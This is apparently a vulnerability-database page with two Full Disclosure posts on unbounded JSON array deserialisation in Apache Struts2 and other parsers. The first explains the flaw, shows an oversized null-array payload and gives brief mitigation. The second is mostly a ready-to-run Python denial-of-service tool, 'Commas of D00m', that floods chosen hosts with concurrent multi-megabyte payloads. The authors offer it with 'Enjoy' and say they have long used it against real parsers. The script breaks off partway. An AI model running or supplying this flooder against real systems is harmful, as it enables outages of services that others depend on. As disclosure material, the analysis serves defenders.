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2 vulnerabilities found for Deserialiser Unconstrained by Json
GCVE-1988-2026-0240
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 11:13
VLAI
EPSS
VEX
Title
JSON Deserialiser Unconstrained Resource Consumption Quick Overview
Summary
As previously mentioned, via "Struts2 and Related Framework Array/Collection DoS" (26 October 2025), hundreds of
JavaScript object notation (JSON) libraries are vulnerable to unconstrained resource consumption through large JSON
arrays, which, when deserialised, create arbitrarily large collections/arrays/data structures. This work looks
specifically at the Apache Struts2 JSON Plugin, using it as an example for why this vulnerability exists, how to
exploit it.
Understanding Deserialisation
There are, regardless of the library, language, three methods of deserialisating data:
1. Call constructors
2. Call setters
3. Set the variable directly
Most systems opt for #2, at least by default, and for a variety of reasons. By leveraging setters (and serialisation
then often uses getters), the deserialiser needn't reflect into non-public or static structures - they simply use the
default constructor to create the base object, then call to the referenced or mapped public methods. This means that
the deserialiser, which has to use reflection as part of the process (even if that reflection is obscured - there are
exceptions but they are not relevant to this discussion and, even then, almost always still have reflection, even if
outside of the purview of the purported library), doesn't need to allow reflection to override visibility or allow
static references, either of which open the system up to a large number of attacks. While option #1 also can allow the
same "safer" reflection than option #3, it creates "bloat" with complex constructors, multiple constructors just to
rehydrate an object, so is less favoured by both developers picking a deserialiser and individuals writing the
deserialisers. Option #3 requires the variables to be either directly exposed as public variables, which makes race
conditions and other issues more likely, gives up control over the variable and shaping it (e.g., performing input
validation, sanitisation, and escaping as it flows into the object), etc., or requires the deserialiser to allow
reflecting into private variables, which makes the deserialiser a massive target.
Both Struts2 and the Struts2 JSON Plugin prefer to use setters and getters for the deserialisation/serialisation
process (notably, a deserialiser need not include a serialiser and vice versa).
The Flow
When a user makes a request to Apache Struts2, the data flows through the StrutsPrepareAndExecuteFilter to all
applicable ServletFilters, then to the ActionMapper, the ActionProxy, all configured Interceptors, and eventually to
the mapped Action. The deserialisers - be they the default Apache Struts2 deserialiser, the Apache Struts2 JSON
Plugin, or something else - are interceptors. To help the reader visualise and understand this dataflow, we have
created the sequence diagram below.
[cid:image005.png@01DCADCB.ACA14A10]
The Apache Struts2 JSON Plugin, itself, is composed of multiple classes, but the classes of importance for this
discussion are the JSONInterceptor, JSONUtil, JSONReader, and JSONPopulator. The following is a high-level diagram
showing the data flow of interest for this discussion - specifically focusing on deserialisation of JSON arrays as the
JSON flows through the library.
[cid:image006.png@01DCADCB.ACA14A10]
Vulnerable Code
The vulnerable code, in this example, is contained within JSONReader, which is responsible for rehydration of the JSON
string into either a Map or a List, which is then bubbled up to the JSONUtil, returned to the JSONInterceptor (via
Object obj = JSONUtil.deserialize(request.getReader())), translated into a Map if it is a list, and then the Map is
passed to the JSONPopulator, which is nothing more than a standard reflective layer that builds the objects, sets the
variables using the default constructor to instantiate objects and setters (if it can find them) to set the variables.
Below is some of the offending code that is vulnerable to trivial resource exhaustion, from JSONReader:
protected List array() throws JSONException {
List ret = new ArrayList();
Object value = this.read();
while (this.token != ARRAY_END) {
ret.add(value);
Object read = this.read();
if (read == COMMA) {
value = this.read();
} else if (read != ARRAY_END) {
throw buildInvalidInputException();
}
}
return ret;
}
Notably, this method foolishly will keep reading until it reaches a JSON array terminator -- `]`. Attackers can, as
such, simply send large arrays and the reader will continuously create new Java Object instances and add them to the
`ret` ArrayList. The protected Map object() method suffers similarly, endlessly adding Object instances to the `ret`
HashMap. In fact, this paradigm is peppered throughout this code and that of, again, literally hundreds of JSON
deserialisers.
There are a few things to understand about why this is dangerous.
First, from a language-specific perspective, ArrayList and HashMap experience automatic growth and both default to a
rather small capacity (10 and 16, respectively) and grow rather quickly (~50% and ~100% capacity increase,
respectively). HashMap growth triggers when the size (number of elements in the instance) exceeds the threshold
(capacity * loadfactor, or put another way, capacity * 0.75). ArrayList grows only when one more element is added than
it has capacity. The growth operation for both is O(n), where n is the number of elements, but the memory impact is
far greater than the compute, which, itself becomes sizable quickly, since the memory must be allocated for the new
data structure while the old still exists - for a HashMap, that means that you go from n to 3n, since the size doubles
(2n) but the original is still in memory during the copy operation. For an ArrayList, it is closer to 2.5 - the size
increases to 1.5n and the original n remain in memory during the copy operation. Of course, on top of this, you have
garbage collection, so the old data structures - which are simply arrays - remain until they are cleaned up.
Outside of the language-specific perspective, attackers can simply create arbitrarily large JSON arrays and, even if
simply null, they will result in stuffing entries into data structures. Attackers can simply exhaust memory,
especially if they run just a few concurrent instances of malicious requests. Even if attackers cannot exhaust memory,
they can exhaust compute - the information system must parse the entire array, must build out the data structure, must
then map the data structure out, and must then attempt to stuff the data into the rehydrated object.
In this way, the attack operates to target both processor and memory of the victim system and has been used to
successfully bring down hundreds of thousands of information systems within seconds and with just a few requests.
The Attack
Much like a "ping of death", "zip bomb", or related non-volumetric denial of service attack, the attacker simply makes
a request that forces unbounded memory and compute:
{
"id": "pizza",
"parts": [
null,
null,
null,
null,
...<<14,000,000+>>,
null
]
}
To facilitate this, a simple Python script can be made that prebuilds the payload, inserting millions of "null,"
entries into the JSON array. The attacker then simply sends a few concurrent instances of the packet. Wonderfully, if
using "null,", each part is only 5 characters, so these attacks aren't necessarily very many megabytes (70MB) and,
realistically, resource constrained environments, heavily used systems, etc., will struggle with smaller payloads -
attackers can adjust the levers by decreasing payload size and, if needed, increasing the number of concurrent requests.
Mitigating
Realistically, if the JSON is in the body, setting body size limits on systems that aren't especially resource
constrained can help mitigate this attack. While you could look for large numbers of "null," entries, attackers could
simply send garbage objects, strings, instead - the deserialiser doesn't know or care what the actual data structure it
is reflecting into at this point, so attackers could give anything, because it's merely building out the mapping, which
is where the "evil" is occurring, and the reflection, which would try to map the objects to actual data in the
supposedly serialised object, has not happened.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Mar/6 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Json | Deserialiser Unconstrained |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Deserialiser Unconstrained",
"vendor": "Json",
"versions": [
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"version": "unknown"
}
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],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "As previously mentioned, via \"Struts2 and Related Framework Array/Collection DoS\" (26 October 2025), hundreds of \nJavaScript object notation (JSON) libraries are vulnerable to unconstrained resource consumption through large JSON \narrays, which, when deserialised, create arbitrarily large collections/arrays/data structures. This work looks \nspecifically at the Apache Struts2 JSON Plugin, using it as an example for why this vulnerability exists, how to \nexploit it.\n\nUnderstanding Deserialisation\nThere are, regardless of the library, language, three methods of deserialisating data:\n\n\n 1. Call constructors\n 2. Call setters\n 3. Set the variable directly\n\nMost systems opt for #2, at least by default, and for a variety of reasons. By leveraging setters (and serialisation \nthen often uses getters), the deserialiser needn\u0027t reflect into non-public or static structures - they simply use the \ndefault constructor to create the base object, then call to the referenced or mapped public methods. This means that \nthe deserialiser, which has to use reflection as part of the process (even if that reflection is obscured - there are \nexceptions but they are not relevant to this discussion and, even then, almost always still have reflection, even if \noutside of the purview of the purported library), doesn\u0027t need to allow reflection to override visibility or allow \nstatic references, either of which open the system up to a large number of attacks. While option #1 also can allow the \nsame \"safer\" reflection than option #3, it creates \"bloat\" with complex constructors, multiple constructors just to \nrehydrate an object, so is less favoured by both developers picking a deserialiser and individuals writing the \ndeserialisers. Option #3 requires the variables to be either directly exposed as public variables, which makes race \nconditions and other issues more likely, gives up control over the variable and shaping it (e.g., performing input \nvalidation, sanitisation, and escaping as it flows into the object), etc., or requires the deserialiser to allow \nreflecting into private variables, which makes the deserialiser a massive target.\n\nBoth Struts2 and the Struts2 JSON Plugin prefer to use setters and getters for the deserialisation/serialisation \nprocess (notably, a deserialiser need not include a serialiser and vice versa).\n\nThe Flow\nWhen a user makes a request to Apache Struts2, the data flows through the StrutsPrepareAndExecuteFilter to all \napplicable ServletFilters, then to the ActionMapper, the ActionProxy, all configured Interceptors, and eventually to \nthe mapped Action. The deserialisers - be they the default Apache Struts2 deserialiser, the Apache Struts2 JSON \nPlugin, or something else - are interceptors. To help the reader visualise and understand this dataflow, we have \ncreated the sequence diagram below.\n\n[cid:image005.png@01DCADCB.ACA14A10]\n\nThe Apache Struts2 JSON Plugin, itself, is composed of multiple classes, but the classes of importance for this \ndiscussion are the JSONInterceptor, JSONUtil, JSONReader, and JSONPopulator. The following is a high-level diagram \nshowing the data flow of interest for this discussion - specifically focusing on deserialisation of JSON arrays as the \nJSON flows through the library.\n\n[cid:image006.png@01DCADCB.ACA14A10]\n\nVulnerable Code\nThe vulnerable code, in this example, is contained within JSONReader, which is responsible for rehydration of the JSON \nstring into either a Map or a List, which is then bubbled up to the JSONUtil, returned to the JSONInterceptor (via \nObject obj = JSONUtil.deserialize(request.getReader())), translated into a Map if it is a list, and then the Map is \npassed to the JSONPopulator, which is nothing more than a standard reflective layer that builds the objects, sets the \nvariables using the default constructor to instantiate objects and setters (if it can find them) to set the variables. \nBelow is some of the offending code that is vulnerable to trivial resource exhaustion, from JSONReader:\n\n\n protected List array() throws JSONException {\n List ret = new ArrayList();\n Object value = this.read();\n while (this.token != ARRAY_END) {\n ret.add(value);\n Object read = this.read();\n if (read == COMMA) {\n value = this.read();\n } else if (read != ARRAY_END) {\n throw buildInvalidInputException();\n }\n }\n return ret;\n }\n\n\nNotably, this method foolishly will keep reading until it reaches a JSON array terminator -- `]`. Attackers can, as \nsuch, simply send large arrays and the reader will continuously create new Java Object instances and add them to the \n`ret` ArrayList. The protected Map object() method suffers similarly, endlessly adding Object instances to the `ret` \nHashMap. In fact, this paradigm is peppered throughout this code and that of, again, literally hundreds of JSON \ndeserialisers.\n\nThere are a few things to understand about why this is dangerous.\n\nFirst, from a language-specific perspective, ArrayList and HashMap experience automatic growth and both default to a \nrather small capacity (10 and 16, respectively) and grow rather quickly (~50% and ~100% capacity increase, \nrespectively). HashMap growth triggers when the size (number of elements in the instance) exceeds the threshold \n(capacity * loadfactor, or put another way, capacity * 0.75). ArrayList grows only when one more element is added than \nit has capacity. The growth operation for both is O(n), where n is the number of elements, but the memory impact is \nfar greater than the compute, which, itself becomes sizable quickly, since the memory must be allocated for the new \ndata structure while the old still exists - for a HashMap, that means that you go from n to 3n, since the size doubles \n(2n) but the original is still in memory during the copy operation. For an ArrayList, it is closer to 2.5 - the size \nincreases to 1.5n and the original n remain in memory during the copy operation. Of course, on top of this, you have \ngarbage collection, so the old data structures - which are simply arrays - remain until they are cleaned up.\n\nOutside of the language-specific perspective, attackers can simply create arbitrarily large JSON arrays and, even if \nsimply null, they will result in stuffing entries into data structures. Attackers can simply exhaust memory, \nespecially if they run just a few concurrent instances of malicious requests. Even if attackers cannot exhaust memory, \nthey can exhaust compute - the information system must parse the entire array, must build out the data structure, must \nthen map the data structure out, and must then attempt to stuff the data into the rehydrated object.\n\nIn this way, the attack operates to target both processor and memory of the victim system and has been used to \nsuccessfully bring down hundreds of thousands of information systems within seconds and with just a few requests.\n\nThe Attack\nMuch like a \"ping of death\", \"zip bomb\", or related non-volumetric denial of service attack, the attacker simply makes \na request that forces unbounded memory and compute:\n\n{\n \"id\": \"pizza\",\n \"parts\": [\n null,\n null,\n null,\n null,\n ...\u003c\u003c14,000,000+\u003e\u003e,\n null\n ]\n}\n\nTo facilitate this, a simple Python script can be made that prebuilds the payload, inserting millions of \"null,\" \nentries into the JSON array. The attacker then simply sends a few concurrent instances of the packet. Wonderfully, if \nusing \"null,\", each part is only 5 characters, so these attacks aren\u0027t necessarily very many megabytes (70MB) and, \nrealistically, resource constrained environments, heavily used systems, etc., will struggle with smaller payloads - \nattackers can adjust the levers by decreasing payload size and, if needed, increasing the number of concurrent requests.\n\nMitigating\nRealistically, if the JSON is in the body, setting body size limits on systems that aren\u0027t especially resource \nconstrained can help mitigate this attack. While you could look for large numbers of \"null,\" entries, attackers could \nsimply send garbage objects, strings, instead - the deserialiser doesn\u0027t know or care what the actual data structure it \nis reflecting into at this point, so attackers could give anything, because it\u0027s merely building out the mapping, which \nis where the \"evil\" is occurring, and the reflection, which would try to map the objects to actual data in the \nsupposedly serialised object, has not happened.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
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"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/6"
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"technical-description"
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"url": "https://seclists.org/fulldisclosure/2026/Mar/6"
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"title": "JSON Deserialiser Unconstrained Resource Consumption Quick Overview",
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GCVE-1988-2026-0096
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:55
VLAI
EPSS
VEX
Title
JSON Deserialiser Unconstrained Resource Consumption Proof of Concept
Summary
On 26 October 2025 we published "Struts2 and Related Framework Array/Collection DoS", which was followed up on 07 March
2026 by "JSON Deserialiser Unconstrained Resource Consumption Quick Overview". Today we are publishing a proof of
concept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other
JSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by
Apache, and because we want the community to see what insecure deserialisation really is, rather than the confused
ysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using
Inedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled "Inedo ProGet Insecure Reflection and CSRF
Vulnerabilities"). We lovingly call this POC, "Commas of D00m". Use find/replace on the tokens. Enjoy
```python
#!/usr/bin/python3
# ---
# name: Collection-size overflow tester
# category: Testing and scanning
# tags: dos, payload, collection-size, json, flood, load, http
# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size
limits.
# placeholders:
# - token: "@@HOSTS@@"
# field: hosts
# kind: list
# format: python
# label: Hosts
# - token: "@@CONTENT_TYPE@@"
# field: content_type
# kind: text
# label: Content-Type
# default: application/json
# - token: "@@PATH@@"
# field: path
# kind: text
# label: Request path
# optional: true
# default: /
# - token: "@@HEADERS@@"
# field: headers
# kind: map
# format: python
# label: Extra headers, like the cookie and authorisation headers
# optional: true
# - token: "@@PARALLEL_COUNT@@"
# field: parallel_count
# kind: text
# label: Parallel count (concurrent threads)
# optional: true
# default: 40
# - token: "@@TOTAL_CONNECTIONS@@"
# field: total_number_of_connections
# kind: text
# label: Total connections
# optional: true
# default: 1000
# - token: "@@RECREATE_PAYLOAD@@"
# field: recreate_payload
# kind: text
# label: Recreate payload file (true/false)
# optional: true
# default: true
# - token: "@@PAYLOAD_FILE@@"
# field: payload_file
# kind: text
# label: Payload file
# optional: true
# default: prebuilt_payload_tmp
# - token: "@@PAYLOAD_LEFT@@"
# field: payload_left
# kind: text
# label: Payload left (before the null array)
# optional: true
# default: {"serviceTypes": [
# - token: "@@PAYLOAD_RIGHT@@"
# field: payload_right
# kind: text
# label: Payload right (after the null array; blank uses the default)
# optional: true
# - token: "@@STEP@@"
# field: step
# kind: text
# label: Step
# optional: true
# default: 1
# - token: "@@MAX_COLLECTION_SIZE@@"
# field: max_collection_size
# kind: text
# label: Max collection size
# optional: true
# default: 1048500
# ---
"""Flood a host with oversized JSON payloads to probe collection-size limits.
Builds a payload whose array holds a very large number of ``null`` entries --
enough to strain a server-side (Java) collection -- and fires it at each host
with a configurable amount of concurrency, tallying the status codes seen
(413s and 5xx especially) and logging any 5xx bodies to
``request-responses.txt``. A Content-Type and at least one host are required.
Usage:
python collection_size_overflow.py
"""
import concurrent.futures
import os
import random
import string
import time
from datetime import datetime, timezone
import requests
# REPLACE/ADJUST THESE
config = {
'hosts': @@HOSTS@@,
'paths': ['@@PATH@@' or '/'],
'content_type': '@@CONTENT_TYPE@@',
'extra_headers': @@HEADERS@@,
'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
# Data for the payload generation
'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in ('1', 'true', 'yes'),
'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
'payload_left': r"""@@PAYLOAD_LEFT@@""" or '{"serviceTypes": [',
'payload_right': r"""@@PAYLOAD_RIGHT@@""" or '"IP_TUNNEL"]}',
'step': int('@@STEP@@' or 1),
'max_collection_size': int('@@MAX_COLLECTION_SIZE@@' or 1048500),
# The maximum Java collection size is 2147483647; other sizes worth trying:
# 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,
# 67105747, 114500747
}
def count_status_codes(responses):
"""
Walks through the responses and counts the status codes
Args:
responses (list[Response]): List of response objects
Returns:
dict: A dictionary with counts for each of the status codes that we monitor
"""
try:
with open('request-responses.txt', 'a') as f:
for response in [r for r in responses if r is not None and 500 <= r.status_code < 600]:
# Write response
f.write("Response:\n")
for header, value in response.headers.items():
f.write(f"{header}: {value}\n")
f.write(f"{response.text}\n")
# Add separator between entries
f.write("-" * 50 + "\n")
print(f"Successfully wrote responses to request-responses.txt")
except Exception as e:
print(f"Error writing to file: {str(e)}")
counts = {
'2xx': len([r for r in responses if r is not None and 200 <= r.status_code < 300]),
'4xx': len([r for r in responses if r is not None and 400 <= r.status_code < 500]),
'400': len([r for r in responses if r is not None and r.status_code == 400]),
'402': len([r for r in responses if r is not None and r.status_code == 402]),
'403': len([r for r in responses if r is not None and r.status_code == 403]),
'404': len([r for r in responses if r is not None and r.status_code == 404]),
'413': len([r for r in responses if r is not None and r.status_code == 413]),
'429': len([r for r in responses if r is not None and r.status_code == 429]),
'5xx': len([r for r in responses if r is not None and 500 <= r.status_code < 600]),
'500': len([r for r in responses if r is not None and r.status_code == 500]),
'502': len([r for r in responses if r is not None and r.status_code == 502]),
'503': len([r for r in responses if r is not None and r.status_code == 503]),
'504': len([r for r in responses if r is not None and r.status_code == 504])
}
for resp in responses:
if resp is not None:
if 500 <= resp.status_code < 600:
print(f'{response.headers}')
print(f'{resp.text}')
else:
print(f'We have a response of {resp}')
return counts
def get_payload(recreate_payload=False):
"""
Grabs the payload that we are going to send
Args:
recreate_payload (bool): Whether we should stomp over the payload file if it exists
Returns:
str: The payload to be sent
"""
sequential = config['max_collection_size'] * 95 // 100
if recreate_payload or os.path.exists(config['payload_file']) == False:
with open(config['payload_file'], 'w', encoding='utf-8') as file:
file.write(config['payload_left'])
for i in range(1, sequential, 1):
file.write(f'null,')
for i in range(sequential + 1, config['max_collection_size'] + 1, config['step']):
file.write('null,')
file.write(config['payload_right'])
with open(config['payload_file'], 'r', encoding='utf-8') as file:
return file.read()
def make_request(url, data=None, cookie_string=None):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/137.0.0.0 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
}
# Caller-supplied headers first, then the required Content-Type so it wins.
headers.update(config['extra_headers'])
if config['content_type']:
headers['Content-Type'] = config['content_type']
if cookie_string:
headers['Cookie'] = cookie_string
try:
session = requests.Session()
req = requests.Request(
'POST',
url,
data=data if data else None,
headers=headers,
)
prepared = session.prepare_request(req)
# --- Print the exact request ---
# print(f"{prepared.method} {prepared.path_url} HTTP/1.1")
# for header, value in prepared.headers.items():
# print(f"{header}: {value}")
# print() # blank line separating headers from body
# if prepared.body:
# # Print first 500 chars of body to avoid flooding the terminal
# print(f"[Body ({len(prepared.body)} bytes)]: {str(prepared.body)[:500]}")
# print("=" * 50)
# --------------------------------
response = session.send(prepared)
#print(f'RRR: {response.status_code}')
#print(f'FFF: {response.headers}')
#print(f'DDD: {response.text}')
return response
except Exception as e:
print(f'Error (at {datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
return None
def run_concurrent_requests(url, data, num_threads, num_runs, cookie_string=None):
"""
Kicks off requests to run each query and then waits for the responses
collecting them into a list
Args:
url (str): URL to make requests to
data (str): The data to pass to the request
num_threads (int): Number of threads to use
num_runs (int): Number of requests to to make (in total)
cookie_string (str): Any cookies to include
Returns:
list[Response]: A list of responses
"""
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
futures = [executor.submit(make_request, url, data, cookie_string) for _ in range(num_runs)]
responses = [f.result() for f in concurrent.futures.as_completed(futures)]
return responses
def main():
# Clear our request/responses file
with open('request-responses.txt', 'w') as file:
pass
# Create a random value and set it across the requests
random_value = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
# Running the attack
print('Running the attack...')
## Exceed the maximum count for items in a Java collection
payload = get_payload(recreate_payload=config['recreate_payload'])
for host in config['hosts']:
path = config['paths'][0]
url = f"https://{host}{path}";
print(
f"Attacking {url} with a payload of size {len(payload)} (using {payload.count('null,')} non-null
entries)...")
start_time = time.time()
responses = run_concurrent_requests(url, data=payload, num_threads=config['parallel_count'],
num_runs=config['total_number_of_connections'])
end_time = time.time()
counts = count_status_codes(responses)
# Print results
if counts['4xx'] > 0:
print(f" {counts['4xx']} 4xxs observed")
for status in ['400', '402', '403', '404']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed")
for status in ['413']:
if counts[status] > 0:
print(f" {counts[status]} {status}s observed (reduce payload size)")
print(
f" {counts['429']} 429s observed (out of {config['total_number_of_connections']} runs at a rate of
{config['parallel_count']} concurrent threads)")
if co
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/117 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ | |
| https://{host}{path}" |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Json | Deserialiser Unconstrained |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Deserialiser Unconstrained",
"vendor": "Json",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "On 26 October 2025 we published \"Struts2 and Related Framework Array/Collection DoS\", which was followed up on 07 March \n2026 by \"JSON Deserialiser Unconstrained Resource Consumption Quick Overview\". Today we are publishing a proof of \nconcept that we have been using for more than 15 years against Struts2, Newtonsoft JSON, JSON.org, and various other \nJSON parsers. We are publishing, in part, because of the theft of our published materials by whitehats, the denial by \nApache, and because we want the community to see what insecure deserialisation really is, rather than the confused \nysoserial that targets insecure reflection (we previously published a write-up discussing insecure reflection and using \nInedo ProGet to demonstrate it - see our write-up on 26 April 2025 titled \"Inedo ProGet Insecure Reflection and CSRF \nVulnerabilities\"). We lovingly call this POC, \"Commas of D00m\". Use find/replace on the tokens. Enjoy\n\n```python\n#!/usr/bin/python3\n# ---\n# name: Collection-size overflow tester\n# category: Testing and scanning\n# tags: dos, payload, collection-size, json, flood, load, http\n# description: Floods a host with concurrent oversized JSON payloads (a huge null array) to probe Java collection-size \nlimits.\n# placeholders:\n# - token: \"@@HOSTS@@\"\n# field: hosts\n# kind: list\n# format: python\n# label: Hosts\n# - token: \"@@CONTENT_TYPE@@\"\n# field: content_type\n# kind: text\n# label: Content-Type\n# default: application/json\n# - token: \"@@PATH@@\"\n# field: path\n# kind: text\n# label: Request path\n# optional: true\n# default: /\n# - token: \"@@HEADERS@@\"\n# field: headers\n# kind: map\n# format: python\n# label: Extra headers, like the cookie and authorisation headers\n# optional: true\n# - token: \"@@PARALLEL_COUNT@@\"\n# field: parallel_count\n# kind: text\n# label: Parallel count (concurrent threads)\n# optional: true\n# default: 40\n# - token: \"@@TOTAL_CONNECTIONS@@\"\n# field: total_number_of_connections\n# kind: text\n# label: Total connections\n# optional: true\n# default: 1000\n# - token: \"@@RECREATE_PAYLOAD@@\"\n# field: recreate_payload\n# kind: text\n# label: Recreate payload file (true/false)\n# optional: true\n# default: true\n# - token: \"@@PAYLOAD_FILE@@\"\n# field: payload_file\n# kind: text\n# label: Payload file\n# optional: true\n# default: prebuilt_payload_tmp\n# - token: \"@@PAYLOAD_LEFT@@\"\n# field: payload_left\n# kind: text\n# label: Payload left (before the null array)\n# optional: true\n# default: {\"serviceTypes\": [\n# - token: \"@@PAYLOAD_RIGHT@@\"\n# field: payload_right\n# kind: text\n# label: Payload right (after the null array; blank uses the default)\n# optional: true\n# - token: \"@@STEP@@\"\n# field: step\n# kind: text\n# label: Step\n# optional: true\n# default: 1\n# - token: \"@@MAX_COLLECTION_SIZE@@\"\n# field: max_collection_size\n# kind: text\n# label: Max collection size\n# optional: true\n# default: 1048500\n# ---\n\"\"\"Flood a host with oversized JSON payloads to probe collection-size limits.\n\nBuilds a payload whose array holds a very large number of ``null`` entries --\nenough to strain a server-side (Java) collection -- and fires it at each host\nwith a configurable amount of concurrency, tallying the status codes seen\n(413s and 5xx especially) and logging any 5xx bodies to\n``request-responses.txt``. A Content-Type and at least one host are required.\nUsage:\n python collection_size_overflow.py\n\"\"\"\n\nimport concurrent.futures\nimport os\nimport random\nimport string\nimport time\nfrom datetime import datetime, timezone\n\nimport requests\n\n# REPLACE/ADJUST THESE\nconfig = {\n \u0027hosts\u0027: @@HOSTS@@,\n \u0027paths\u0027: [\u0027@@PATH@@\u0027 or \u0027/\u0027],\n \u0027content_type\u0027: \u0027@@CONTENT_TYPE@@\u0027,\n \u0027extra_headers\u0027: @@HEADERS@@,\n \u0027parallel_count\u0027: int(\u0027@@PARALLEL_COUNT@@\u0027 or 40),\n \u0027total_number_of_connections\u0027: int(\u0027@@TOTAL_CONNECTIONS@@\u0027 or 1000),\n # Data for the payload generation\n \u0027recreate_payload\u0027: (\u0027@@RECREATE_PAYLOAD@@\u0027 or \u0027true\u0027).strip().lower() in (\u00271\u0027, \u0027true\u0027, \u0027yes\u0027),\n \u0027payload_file\u0027: \u0027@@PAYLOAD_FILE@@\u0027 or \u0027prebuilt_payload_tmp\u0027,\n \u0027payload_left\u0027: r\"\"\"@@PAYLOAD_LEFT@@\"\"\" or \u0027{\"serviceTypes\": [\u0027,\n \u0027payload_right\u0027: r\"\"\"@@PAYLOAD_RIGHT@@\"\"\" or \u0027\"IP_TUNNEL\"]}\u0027,\n \u0027step\u0027: int(\u0027@@STEP@@\u0027 or 1),\n \u0027max_collection_size\u0027: int(\u0027@@MAX_COLLECTION_SIZE@@\u0027 or 1048500),\n # The maximum Java collection size is 2147483647; other sizes worth trying:\n # 0, 1, 1050000, 1350000, 2097000, 2097023, 2097102, 4500747, 14500747,\n # 67105747, 114500747\n}\n\n\ndef count_status_codes(responses):\n \"\"\"\n Walks through the responses and counts the status codes\n\n Args:\n responses (list[Response]): List of response objects\n\n Returns:\n dict: A dictionary with counts for each of the status codes that we monitor\n \"\"\"\n try:\n with open(\u0027request-responses.txt\u0027, \u0027a\u0027) as f:\n for response in [r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]:\n # Write response\n f.write(\"Response:\\n\")\n for header, value in response.headers.items():\n f.write(f\"{header}: {value}\\n\")\n f.write(f\"{response.text}\\n\")\n\n # Add separator between entries\n f.write(\"-\" * 50 + \"\\n\")\n\n print(f\"Successfully wrote responses to request-responses.txt\")\n\n except Exception as e:\n print(f\"Error writing to file: {str(e)}\")\n\n counts = {\n \u00272xx\u0027: len([r for r in responses if r is not None and 200 \u003c= r.status_code \u003c 300]),\n \u00274xx\u0027: len([r for r in responses if r is not None and 400 \u003c= r.status_code \u003c 500]),\n \u0027400\u0027: len([r for r in responses if r is not None and r.status_code == 400]),\n \u0027402\u0027: len([r for r in responses if r is not None and r.status_code == 402]),\n \u0027403\u0027: len([r for r in responses if r is not None and r.status_code == 403]),\n \u0027404\u0027: len([r for r in responses if r is not None and r.status_code == 404]),\n \u0027413\u0027: len([r for r in responses if r is not None and r.status_code == 413]),\n \u0027429\u0027: len([r for r in responses if r is not None and r.status_code == 429]),\n \u00275xx\u0027: len([r for r in responses if r is not None and 500 \u003c= r.status_code \u003c 600]),\n \u0027500\u0027: len([r for r in responses if r is not None and r.status_code == 500]),\n \u0027502\u0027: len([r for r in responses if r is not None and r.status_code == 502]),\n \u0027503\u0027: len([r for r in responses if r is not None and r.status_code == 503]),\n \u0027504\u0027: len([r for r in responses if r is not None and r.status_code == 504])\n }\n for resp in responses:\n if resp is not None:\n if 500 \u003c= resp.status_code \u003c 600:\n print(f\u0027{response.headers}\u0027)\n print(f\u0027{resp.text}\u0027)\n else:\n print(f\u0027We have a response of {resp}\u0027)\n return counts\n\n\n\ndef get_payload(recreate_payload=False):\n \"\"\"\n Grabs the payload that we are going to send\n\n Args:\n recreate_payload (bool): Whether we should stomp over the payload file if it exists\n\n Returns:\n str: The payload to be sent\n \"\"\"\n sequential = config[\u0027max_collection_size\u0027] * 95 // 100\n if recreate_payload or os.path.exists(config[\u0027payload_file\u0027]) == False:\n with open(config[\u0027payload_file\u0027], \u0027w\u0027, encoding=\u0027utf-8\u0027) as file:\n file.write(config[\u0027payload_left\u0027])\n for i in range(1, sequential, 1):\n file.write(f\u0027null,\u0027)\n for i in range(sequential + 1, config[\u0027max_collection_size\u0027] + 1, config[\u0027step\u0027]):\n file.write(\u0027null,\u0027)\n file.write(config[\u0027payload_right\u0027])\n with open(config[\u0027payload_file\u0027], \u0027r\u0027, encoding=\u0027utf-8\u0027) as file:\n return file.read()\n\n\ndef make_request(url, data=None, cookie_string=None):\n headers = {\n \u0027User-Agent\u0027: \u0027Mozilla/5.0 (Windows NT 10.0; Win64; x64) 